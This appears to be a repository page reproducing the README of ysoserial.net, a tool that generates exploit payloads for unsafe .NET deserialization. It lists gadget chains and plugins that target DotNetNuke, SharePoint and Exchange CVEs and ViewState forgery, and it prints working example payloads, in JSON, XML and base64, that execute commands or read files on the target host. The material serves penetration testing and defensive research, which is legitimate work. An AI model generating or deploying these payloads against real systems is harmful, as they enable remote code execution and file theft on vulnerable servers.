• Stars
    star
    2,976
  • Rank 14,626 (Top 0.3 %)
  • Language
    C#
  • License
    MIT License
  • Created over 6 years ago
  • Updated 7 months ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Deserialization payload generator for a variety of .NET formatters

logo

GitHub CI v2 download license stars forks

A proof-of-concept tool for generating payloads that exploit unsafe .NET object deserialization.

Description

ysoserial.net is a collection of utilities and property-oriented programming "gadget chains" discovered in common .NET libraries that can, under the right conditions, exploit .NET applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.

It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.

This project is inspired by Chris Frohoff's ysoserial project

Disclaimer

This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.

This software is a personal project and not related with any companies, including Project owner and contributors employers.

Installation

In order to obtain the latest version, it is recommended to download it from the Actions page.

You can install the previous releases of YSoSerial.NET from the releases page

Usage

$ ./ysoserial.exe --fullhelp
ysoserial.net generates deserialization payloads for a variety of .NET formatters.

== GADGETS ==
	(*) ActivitySurrogateDisableTypeCheck [Disables 4.8+ type protections for ActivitySurrogateSelector, command is ignored]
		Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter
			Labels: Not bridge but derived
			Extra options:
			      --var, --variant=VALUE Choices: 1 -> use TypeConfuseDelegateGenerator 
			                               [default], 2 -> use 
			                               TextFormattingRunPropertiesMarshal
			
	(*) ActivitySurrogateSelector [This gadget ignores the command parameter and executes the constructor of ExploitClass class]
		Formatters: BinaryFormatter (2) , LosFormatter , SoapFormatter
			Labels: Not bridge or derived
			Extra options:
			      --var, --variant=VALUE Payload variant number where applicable. 
			                               Choices: 1 (default), 2 (shorter but may not 
			                               work between versions)
			
	(*) ActivitySurrogateSelectorFromFile [Another variant of the ActivitySurrogateSelector gadget. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use semicolon to separate the file from additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll']
		Formatters: BinaryFormatter (2) , LosFormatter , SoapFormatter
			Labels: Not bridge or derived
			Extra options:
			      --var, --variant=VALUE Payload variant number where applicable. 
			                               Choices: 1 (default), 2 (shorter but may not 
			                               work between versions)
			
	(*) AxHostState
		Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter
			Labels: Bridge and derived
			Supported formatter for the bridge: BinaryFormatter
	(*) ClaimsIdentity
		Formatters: BinaryFormatter , LosFormatter , SoapFormatter
			Labels: Bridge and derived, OnDeserialized
			Supported formatter for the bridge: BinaryFormatter
	(*) ClaimsPrincipal
		Formatters: BinaryFormatter , LosFormatter , SoapFormatter
			Labels: Bridge and derived, OnDeserialized, SecondOrderDeserialization
			Supported formatter for the bridge: BinaryFormatter
	(*) DataSet
		Formatters: BinaryFormatter , LosFormatter , SoapFormatter
			Labels: Bridge and derived
			Supported formatter for the bridge: BinaryFormatter
	(*) DataSetOldBehaviour [This gadget targets and old behaviour of DataSet which uses XML format]
		Formatters: BinaryFormatter , LosFormatter
			Labels: Bridge and derived
			Supported formatter for the bridge: LosFormatter
			Extra options:
			      --spoofedAssembly=VALUE
			                             The assembly name you want to use in the 
			                               generated serialized object (example: 'mscorlib')
			
	(*) DataSetOldBehaviourFromFile [Another variant of the DataSetOldBehaviour gadget. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use semicolon to separate the file from additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll']
		Formatters: BinaryFormatter , LosFormatter
			Labels: Bridge and derived
			Extra options:
			      --spoofedAssembly=VALUE
			                             The assembly name you want to use in the 
			                               generated serialized object (example: 'mscorlib')
			
	(*) DataSetTypeSpoof [A more advanced type spoofing which can use any arbitrary types can be seen in TestingArenaHome::SpoofByBinaryFormatterJson or in the DataSetOldBehaviour gadget]
		Formatters: BinaryFormatter , LosFormatter , SoapFormatter
			Labels: Bridge and derived
			Supported formatter for the bridge: BinaryFormatter
	(*) GenericPrincipal
		Formatters: BinaryFormatter , LosFormatter
			Labels: Bridge and derived, OnDeserialized, SecondOrderDeserialization
			Supported formatter for the bridge: BinaryFormatter
			Extra options:
			      --var, --variant=VALUE Payload variant number where applicable. 
			                               Choices: 1 (uses serialized ClaimsIdentities), 2 
			                               (uses serialized Claims)
			
	(*) ObjectDataProvider
		Formatters: DataContractSerializer (2) , FastJson , FsPickler , JavaScriptSerializer , Json.Net , MessagePackTypeless >= 2.3.75, MessagePackTypelessLz4 >= 2.3.75 , SharpSerializerBinary , SharpSerializerXml , Xaml (4) , XmlSerializer (2) , YamlDotNet < 5.0.0
			Labels: Not bridge or derived
			Extra options:
			      --var, --variant=VALUE Payload variant number where applicable. 
			                               Choices: 1, 2, 3, ... based on formatter.
			      --xamlurl=VALUE        This is to create a very short payload when 
			                               affected box can read the target XAML URL e.g. 
			                               "http://b8.ee/x" (can be a file path on a shared 
			                               drive or the local system). This is used by the 
			                               3rd XAML payload which is a ResourceDictionary 
			                               with the Source parameter. Command parameter 
			                               will be ignored. The shorter the better!
			
	(*) ObjRef
		Formatters: BinaryFormatter , LosFormatter , ObjectStateFormatter , SoapFormatter
			Labels: 
	(*) PSObject [Target must run a system not patched for CVE-2017-8565 (Published: 07/11/2017)]
		Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter
			Labels: Not bridge but derived
	(*) ResourceSet
		Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer
			Labels: It relies on other gadgets and is not a real gadget on its own (not bridged or derived either)
			Extra options:
			      --ig, --internalgadget=VALUE
			                             The numerical internal gadget choice to use: 
			                               1=TypeConfuseDelegate, 
			                               2=TextFormattingRunProperties (default: 1 
			                               [TypeConfuseDelegate])
			
	(*) RolePrincipal
		Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter
			Labels: Bridge and derived
			Supported formatter for the bridge: BinaryFormatter
	(*) SessionSecurityToken
		Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter
			Labels: Bridge and derived
			Supported formatter for the bridge: BinaryFormatter
	(*) SessionViewStateHistoryItem
		Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter
			Labels: Bridge and derived
			Supported formatter for the bridge: LosFormatter
	(*) TextFormattingRunProperties [This normally generates the shortest payload]
		Formatters: BinaryFormatter , DataContractSerializer , LosFormatter , NetDataContractSerializer , SoapFormatter
			Labels: Not bridge but derived
			Extra options:
			      --xamlurl=VALUE        This is to create a very short payload when 
			                               affected box can read the target XAML URL e.g. 
			                               "http://b8.ee/x" (can be a file path on a shared 
			                               drive or the local system). This is used by the 
			                               3rd XAML payload of ObjectDataProvider which is 
			                               a ResourceDictionary with the Source parameter. 
			                               Command parameter will be ignored. The shorter 
			                               the better!
			      --hasRootDCS           To include a root element with the 
			                               DataContractSerializer payload.
			
	(*) ToolboxItemContainer
		Formatters: BinaryFormatter , LosFormatter , SoapFormatter
			Labels: Bridge and derived
			Supported formatter for the bridge: BinaryFormatter
	(*) TypeConfuseDelegate
		Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer
			Labels: Not bridge or derived
	(*) TypeConfuseDelegateMono [Tweaked TypeConfuseDelegate gadget to work with Mono]
		Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer
			Labels: Not bridge or derived
	(*) WindowsClaimsIdentity [Requires Microsoft.IdentityModel.Claims namespace (not default GAC)]
		Formatters: BinaryFormatter (3) , DataContractSerializer (2) , Json.Net (2) , LosFormatter (3) , NetDataContractSerializer (3) , SoapFormatter (2)
			Labels: Bridge and derived, Not in GAC
			Supported formatter for the bridge: BinaryFormatter
			Extra options:
			      --var, --variant=VALUE Payload variant number where applicable. 
			                               Choices: 1, 2, or 3 based on formatter.
			
	(*) WindowsIdentity
		Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter
			Labels: Bridge and derived
			Supported formatter for the bridge: BinaryFormatter
	(*) WindowsPrincipal
		Formatters: BinaryFormatter , DataContractJsonSerializer , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter
			Labels: Bridge and derived
	(*) XamlAssemblyLoadFromFile [Loads assembly using XAML. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use semicolon to separate the file from additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll']
		Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter
			Labels: Not bridge but derived
			Extra options:
			      --var, --variant=VALUE Choices: 1 -> use TypeConfuseDelegateGenerator 
			                               [default], 2 -> use 
			                               TextFormattingRunPropertiesMarshal

== PLUGINS ==
	(*) ActivatorUrl (Sends a generated payload to an activated, presumably remote, object)
		Options:
		  -c, --command=VALUE        the command to be executed.
		  -u, --url=VALUE            the url passed to Activator.GetObject.
		  -s                         if TCPChannel security should be enabled.
		
	(*) Altserialization (Generates payload for HttpStaticObjectsCollection or SessionStateItemCollection)
		Options:
		  -M, --mode=VALUE           the payload mode: HttpStaticObjectsCollection or 
		                               SessionStateItemCollection. Default: 
		                               HttpStaticObjectsCollection
		  -o, --output=VALUE         the output format (raw|base64).
		  -c, --command=VALUE        the command to be executed
		  -t, --test                 whether to run payload locally. Default: false
		      --minify               Whether to minify the payloads where applicable 
		                               (experimental). Default: false
		      --ust, --usesimpletype This is to remove additional info only when 
		                               minifying and FormatterAssemblyStyle=Simple. 
		                               Default: true
		
	(*) ApplicationTrust (Generates XML payload for the ApplicationTrust class)
		Options:
		  -c, --command=VALUE        the command to be executed
		  -t, --test                 whether to run payload locally. Default: false
		      --minify               Whether to minify the payloads where applicable 
		                               (experimental). Default: false
		      --ust, --usesimpletype This is to remove additional info only when 
		                               minifying and FormatterAssemblyStyle=Simple. 
		                               Default: true
		
	(*) Clipboard (Generates payload for DataObject and copy it into the clipboard - ready to be pasted in affected apps)
		Options:
		  -F, --format=VALUE         the object format: Csv, DeviceIndependentBitmap, 
		                               DataInterchangeFormat, PenData, RiffAudio, 
		                               WindowsForms10PersistentObject, System.String, 
		                               SymbolicLink, TaggedImageFileFormat, WaveAudio. 
		                               Default: WindowsForms10PersistentObject (the 
		                               only one that works in Feb 2020 as a result of 
		                               an incomplete silent patch - - will not be 
		                               useful to target text based fields anymore)
		  -c, --command=VALUE        the command to be executed
		  -t, --test                 whether to run payload locally. Default: false
		      --minify               Whether to minify the payloads where applicable 
		                               (experimental). Default: false
		      --ust, --usesimpletype This is to remove additional info only when 
		                               minifying and FormatterAssemblyStyle=Simple. 
		                               Default: true
		
	(*) DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822)
		Options:
		  -m, --mode=VALUE           the payload mode: read_file, write_file, 
		                               run_command.
		  -c, --command=VALUE        the command to be executed in run_command mode.
		  -u, --url=VALUE            the url to fetch the file from in write_file 
		                               mode.
		  -f, --file=VALUE           the file to read in read_file mode or the file 
		                               to write to in write_file_mode.
		      --minify               Whether to minify the payloads where applicable 
		                               (experimental). Default: false
		
	(*) Resx (Generates RESX and .RESOURCES files)
		Options:
		  -M, --mode=VALUE           the payload mode: indirect_resx_file, 
		                               CompiledDotResources (useful for CVE-2020-0932 
		                               for example), BinaryFormatter, SoapFormatter.
		  -c, --command=VALUE        the command to be executed in BinaryFormatter 
		                               and CompiledDotResources. If this is provided 
		                               for SoapFormatter, it will be used as a file for 
		                               ActivitySurrogateSelectorFromFile
		  -g, --gadget=VALUE         The gadget chain used for BinaryFormatter and 
		                               CompiledDotResources (default: 
		                               TextFormattingRunProperties).
		  -F, --file=VALUE           UNC file path location: this is used in 
		                               indirect_resx_file mode.
		      --of, --outputfile=VALUE
		                             a file path location for CompiledDotResources to 
		                               store the .resources file (default: payloa-
		                               d.resources)
		  -t, --test                 Whether to run payload locally. Default: false
		      --minify               Whether to minify the payloads where applicable 
		                               (experimental). Default: false
		      --ust, --usesimpletype This is to remove additional info only when 
		                               minifying and FormatterAssemblyStyle=Simple. 
		                               Default: true
		
	(*) SessionSecurityTokenHandler (Generates XML payload for the SessionSecurityTokenHandler class)
		Options:
		  -c, --command=VALUE        the command to be executed e.g. "cmd /c calc"
		  -t, --test                 whether to run payload locally. Default: false
		      --minify               Whether to minify the payloads where applicable 
		                               (experimental). Default: false
		      --ust, --usesimpletype This is to remove additional info only when 
		                               minifying and FormatterAssemblyStyle=Simple. 
		                               Default: true
		
	(*) SharePoint (Generates payloads for the following SharePoint CVEs: CVE-2020-1147, CVE-2019-0604, CVE-2018-8421)
		Options:
		      --cve=VALUE            the CVE reference: CVE-2020-1147 (result is safe 
		                               for a POST request), CVE-2019-0604, CVE-2018-8421
		      --useurl               to use the XAML url rather than using the direct 
		                               command in CVE-2019-0604 and CVE-2018-8421
		  -g, --gadget=VALUE         a gadget chain that supports LosFormatter for 
		                               CVE-2020-1147. Default: TypeConfuseDelegate 
		  -c, --command=VALUE        the command to be executed e.g. "cmd /c calc" or 
		                               the XAML url e.g. "http://b8.ee/x" to make the 
		                               payload shorter with the `--useurl` argument
		
	(*) TransactionManagerReenlist (Generates payload for the TransactionManager.Reenlist method)
		Options:
		  -c, --command=VALUE        the command to be executed
		  -t, --test                 whether to run payload locally. Default: false
		      --minify               Whether to minify the payloads where applicable 
		                               (experimental). Default: false
		      --ust, --usesimpletype This is to remove additional info only when 
		                               minifying and FormatterAssemblyStyle=Simple. 
		                               Default: true
		
	(*) ViewState (Generates a ViewState using known MachineKey parameters)
		Options:
		      --examples             to show a few examples. Other parameters will be 
		                               ignored
		  -g, --gadget=VALUE         a gadget chain that supports LosFormatter. 
		                               Default: ActivitySurrogateSelector
		  -c, --command=VALUE        the command suitable for the used gadget (will 
		                               be ignored for ActivitySurrogateSelector)
		      --upayload=VALUE       the unsigned LosFormatter payload in (base64 
		                               encoded). The gadget and command parameters will 
		                               be ignored
		      --generator=VALUE      the __VIEWSTATEGENERATOR value which is in HEX, 
		                               useful for .NET <= 4.0. When not empty, 'legacy' 
		                               will be used and 'path' and 'apppath' will be 
		                               ignored.
		      --path=VALUE           the target web page. example: /app/folder1/pag-
		                               e.aspx
		      --apppath=VALUE        the application path. this is needed in order to 
		                               simulate TemplateSourceDirectory
		      --islegacy             when provided, it uses the legacy algorithm 
		                               suitable for .NET 4.0 and below
		      --isencrypted          this will be used when the legacy algorithm is 
		                               used to bypass WAFs
		      --viewstateuserkey=VALUE
		                             this to set the ViewStateUserKey parameter that 
		                               sometimes used as the anti-CSRF token
		      --decryptionalg=VALUE  the encryption algorithm can be set to  DES, 
		                               3DES, AES. Default: AES
		      --decryptionkey=VALUE  this is the decryptionKey attribute from 
		                               machineKey in the web.config file
		      --validationalg=VALUE  the validation algorithm can be set to SHA1, 
		                               HMACSHA256, HMACSHA384, HMACSHA512, MD5, 3DES, 
		                               AES. Default: HMACSHA256
		      --validationkey=VALUE  this is the validationKey attribute from 
		                               machineKey in the web.config file
		      --showraw              to stop URL-encoding the result. Default: false
		      --minify               Whether to minify the payloads where applicable 
		                               (experimental). Default: false
		      --ust, --usesimpletype This is to remove additional info only when 
		                               minifying and FormatterAssemblyStyle=Simple. 
		                               Default: true
		      --isdebug              to show useful debugging messages!
		

Note: Machine authentication code (MAC) key modifier is not being used for LosFormatter in ysoserial.net. Therefore, LosFormatter (base64 encoded) can be used to create ObjectStateFormatter payloads.

Usage: ysoserial.exe [options]
Options:
  -p, --plugin=VALUE         The plugin to be used.
  -o, --output=VALUE         The output format (raw|base64|raw-
                               urlencode|base64-urlencode|hex). Default: raw
  -g, --gadget=VALUE         The gadget chain.
  -f, --formatter=VALUE      The formatter.
  -c, --command=VALUE        The command to be executed.
      --rawcmd               Command will be executed as is without `cmd /c ` 
                               being appended (anything after first space is an 
                               argument).
  -s, --stdin                The command to be executed will be read from 
                               standard input.
      --bgc, --bridgedgadgetchains=VALUE
                             Chain of bridged gadgets separated by comma (,). 
                               Each gadget will be used to complete the next 
                               bridge gadget. The last one will be used in the 
                               requested gadget. This will be ignored when 
                               using the searchformatter argument.
  -t, --test                 Whether to run payload locally. Default: false
      --outputpath=VALUE     The output file path. It will be ignored if 
                               empty.
      --minify               Whether to minify the payloads where applicable. 
                               Default: false
      --ust, --usesimpletype This is to remove additional info only when 
                               minifying and FormatterAssemblyStyle=Simple 
                               (always `true` with `--minify` for binary 
                               formatters). Default: true
      --raf, --runallformatters
                             Whether to run all the gadgets with the provided 
                               formatter (ignores gadget name, output format, 
                               and the test flag arguments). This will search 
                               in formatters and also show the displayed 
                               payload length. Default: false
      --sf, --searchformatter=VALUE
                             Search in all formatters to show relevant 
                               gadgets and their formatters (other parameters 
                               will be ignored).
      --debugmode            Enable debugging to show exception errors and 
                               output length
  -h, --help                 Shows this message and exit.
      --fullhelp             Shows this message + extra options for gadgets 
                               and plugins and exit.
      --credit               Shows the credit/history of gadgets and plugins 
                               (other parameters will be ignored).
      --runmytest            Runs that `Start` method of `TestingArenaHome` - 
                               useful for testing and debugging.

Note: When specifying complex commands, it can be tedious to escape some special character (;, |, &, ..). Use stdin option (-s) to read the command from stdin:

cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s

Note: XmlSerializer and DataContractSerializer formatters generate a wrapper Xml format including the expected type on the "type" attribute of the root node, as used, for example, in DotNetNuke. You may need to modify the generated xml based on how XmlSerializer gets the expected type in your case.

Plugins

Ysoserial.Net can be used to generate raw payloads or more complex ones using a plugin architecture. To use plugins, use -p <plugin name> followed by the plugin options (the rest of ysoserial.net options will be ignored). Eg:

$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini

For more help on plugin options use -h along with -p <plugin name>. Eg:

$ ./ysoserial.exe -h -p DotNetNuke

ysoserial.net generates deserialization payloads for a variety of .NET formatters.

Plugin:

DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822)

Options:

  -m, --mode=VALUE           the payload mode: read_file, write_file, run_command.
  -c, --command=VALUE        the command to be executed in run_command mode.
  -u, --url=VALUE            the url to fetch the file from in write_file mode.
  -f, --file=VALUE           the file to read in read_file mode or the file to write to in write_file_mode.
      --minify               Whether to minify the payloads where applicable (experimental). Default: false
      --ust, --usesimpletype This is to remove additional info only when minifying and FormatterAssemblyStyle=Simple. Default: true

Examples

Generate a calc.exe payload for Json.Net using ObjectDataProvider gadget.

$ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t

{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd','/ccalc']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Generate a calc.exe payload for BinaryFormatter using PSObject gadget.

$ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t

AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLCBWZXJzaW9uPTMuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUBAAAAJVN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uUFNPYmplY3QBAAAABkNsaVhtbAECAAAABgMAAACJFQ0KPE9ianMgVmVyc2lvbj0iMS4xLjAuMSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vcG93ZXJzaGVsbC8yMDA0LzA0Ij4mI3hEOw0KPE9iaiBSZWZJZD0iMCI+JiN4RDsNCiAgICA8VE4gUmVmSWQ9IjAiPiYjeEQ7DQogICAgICA8VD5NaWNyb3NvZnQuTWFuYWdlbWVudC5JbmZyYXN0cn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ogICAgPE1TPiYjeEQ7DQogICAgICA8UmVmIE49Il9fQ2xhc3NNZXRhZGF0YSIgUmVmSWQgPSIyIiAvPiYjeEQ7DQogICAgPC9NUz4mI3hEOw0KICA8L09iaj4mI3hEOw0KPC9PYmpzPgs=

Generate a run_command payload for DotNetNuke using its plugin

$ ./ysoserial.exe -p DotNetNuke -m run_command -c calc.exe

<profile><item key="foo" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, System.Web, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfObjectStateFormatterObjectDataProvider xmlns:xsd=" [http://www.w3.org/2001/XMLSchema](http://www.w3.org/2001/XMLSchema) " xmlns:xsi=" [http://www.w3.org/2001/XMLSchema-instance](http://www.w3.org/2001/XMLSchema-instance) "><ExpandedElement/><ProjectedProperty0><MethodName>Deserialize</MethodName><MethodParameters><anyType xsi:type="xsd:string">/wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW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LlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=</anyType></MethodParameters><ObjectInstance xsi:type="ObjectStateFormatter"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfObjectStateFormatterObjectDataProvider></item></profile>

Generate a read_file payload for DotNetNuke using its plugin

$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini

<profile><item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>

Generate a minified BinaryFormatter payload to exploit Exchange CVE-2021-42321 using the ActivitySurrogateDisableTypeCheck gadget inside the ClaimsPrincipal gadget.

> .\ysoserial.exe -g ClaimsPrincipal -f BinaryFormatter -c foobar -bgc ActivitySurrogateDisableTypeCheck --minify --ust

AAEAAAD/////AQAAAAAAAAAEAQAAACZTeXN0ZW0uU2VjdXJpdHkuQ2xhaW1zLkNsYWltc1ByaW5jaXBhbAEAAAAcbV9zZXJpYWxpemVkQ2xhaW1zSWRlbnRpdGllcwEGBQAAAKgfQUFFQUFBRC8vLy8vQVFBQUFBQUFBQUFNQWdBQUFFWlRlWE4wWlcwc1ZtVnljMmx2YmowMExqQXVNQzR3TEVOMWJIUjFjbVU5Ym1WMWRISmhiQ3hRZFdKc2FXTkxaWGxVYjJ0bGJqMWlOemRoTldNMU5qRTVNelJsTURnNUJRRUFBQUJBVTNsemRHVnRMa052Ykd4bFkzUnBiMjV6TGtkbGJtVnlhV011VTI5eWRHVmtVMlYwWURGYlcxTjVjM1JsYlM1VGRISnBibWNzYlhOamIzSnNhV0pkWFFRQUFBQUZRMjkxYm5RSVEyOXRjR0Z5WlhJSFZtVnljMmx2YmdWSmRHVnRjd0FEQUFZSVNWTjVjM1JsYlM1RGIyeHNaV04wYVc5dWN5NUhaVzVsY21sakxrTnZiWEJoY21semIyNURiMjF3WVhKbGNtQXhXMXRUZVhOMFpXMHVVM1J5YVc1bkxHMXpZMjl5YkdsaVhWMElBZ0FBQUFJQUFBQUpBd0FBQUFJQUFBQUpCQUFBQUFRREFBQUFTVk41YzNSbGJTNURiMnhzWldOMGFXOXVjeTVIWlc1bGNtbGpMa052YlhCaGNtbHpiMjVEYjIxd1lYSmxjbUF4VzF0VGVYTjBaVzB1VTNSeWFXNW5MRzF6WTI5eWJHbGlYVjBCQUFBQUMxOWpiMjF3WVhKcGMyOXVBeUpUZVhOMFpXMHVSR1ZzWldkaGRHVlRaWEpwWVd4cGVtRjBhVzl1U0c5c1pHVnlDUVVBQUFBUkJBQUFBQUlB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oY25ObEtGTjVjM1JsYlM1VGRISnBibWNwQ0FBQUFBb0JDZ0FBQUFrQUFBQUdGUUFBQUFkRGIyMXdZWEpsQ1F3QUFBQUdGd0FBQUExVGVYTjBaVzB1VTNSeWFXNW5CaGdBQUFBclNXNTBNeklnUTI5dGNHRnlaU2hUZVhOMFpXMHVVM1J5YVc1bkxDQlRlWE4wWlcwdVUzUnlhVzVuS1FnQUFBQUtBUkFBQUFBSUFBQUFCaGtBQUFBa1UzbHpkR1Z0TGtOdmJYQmhjbWx6YjI1Z01WdGJVM2x6ZEdWdExsTjBjbWx1WjExZENRd0FBQUFLQ1F3QUFBQUpGd0FBQUFrVkFBQUFDZ3M9Cw==

v2 Branch

v2 branch is a copy of ysoserial.net (15/03/2018) that has been changed to work with .NET Framework 2.0 by irsdl. Although this project can be used with applications that use .NET Framework v2.0, it also requires .NET Framework 3.5 to be installed on the target box as the gadgets depend on it. This problem will be resolved if new gadgets in .NET Framework 2.0 become identified in the future.

Contributing

  • Fork it
  • Create your feature branch (git checkout -b my-new-feature)
  • Commit your changes (git commit -am 'Add some feature')
  • Push to the branch (git push origin my-new-feature)
  • Create new Pull Request

Thanks

Special thanks to all contributors:

Credits

$ ./ysoserial.exe --credit

ysoserial.net has been originally developed by Alvaro Munoz (@pwntester)
this tool is being maintained by Soroush Dalili (@irsdl) and Alvaro Munoz (@pwntester) 

Credits for available gadgets:
	ActivitySurrogateDisableTypeCheck
		[Finders: Nick Landers]
	ActivitySurrogateSelector
		[Finders: James Forshaw] [Contributors: Alvaro Munoz, zcgonvh]
	ActivitySurrogateSelectorFromFile
		[Finders: James Forshaw] [Contributors: Alvaro Munoz, zcgonvh]
	AxHostState
		[Finders: Soroush Dalili]
	ClaimsIdentity
		[Finders: Soroush Dalili]
	ClaimsPrincipal
		[Finders: jang]
	DataSet
		[Finders: James Forshaw] [Contributors: Soroush Dalili]
	DataSetOldBehaviour
		[Finders: Steven Seeley] [Contributors: Soroush Dalili]
	DataSetOldBehaviourFromFile
		[Finders: Steven Seeley, Markus Wulftange] [Contributors: Soroush Dalili]
	DataSetTypeSpoof
		[Finders: James Forshaw] [Contributors: Soroush Dalili, Markus Wulftange, Jang]
	GenericPrincipal
		[Finders: Soroush Dalili]
	ObjectDataProvider
		[Finders: Oleksandr Mirosh, Alvaro Munoz] [Contributors: Alvaro Munoz, Soroush Dalili, Dane Evans]
	ObjRef
		[Finders: Markus Wulftange]
	PSObject
		[Finders: Oleksandr Mirosh, Alvaro Munoz] [Contributors: Alvaro Munoz]
	ResourceSet
		[Finders: Soroush Dalili]
	RolePrincipal
		[Finders: Soroush Dalili]
	SessionSecurityToken
		[Finders: @mufinnnnnnn, Soroush Dalili] [Contributors: Soroush Dalili]
	SessionViewStateHistoryItem
		[Finders: Soroush Dalili]
	TextFormattingRunProperties
		[Finders: Oleksandr Mirosh and Alvaro Munoz] [Contributors: Oleksandr Mirosh, Soroush Dalili]
	ToolboxItemContainer
		[Finders: @frycos]
	TypeConfuseDelegate
		[Finders: James Forshaw] [Contributors: Alvaro Munoz]
	TypeConfuseDelegateMono
		[Finders: James Forshaw] [Contributors: Denis Andzakovic, Soroush Dalili]
	WindowsClaimsIdentity
		[Finders: Soroush Dalili]
	WindowsIdentity
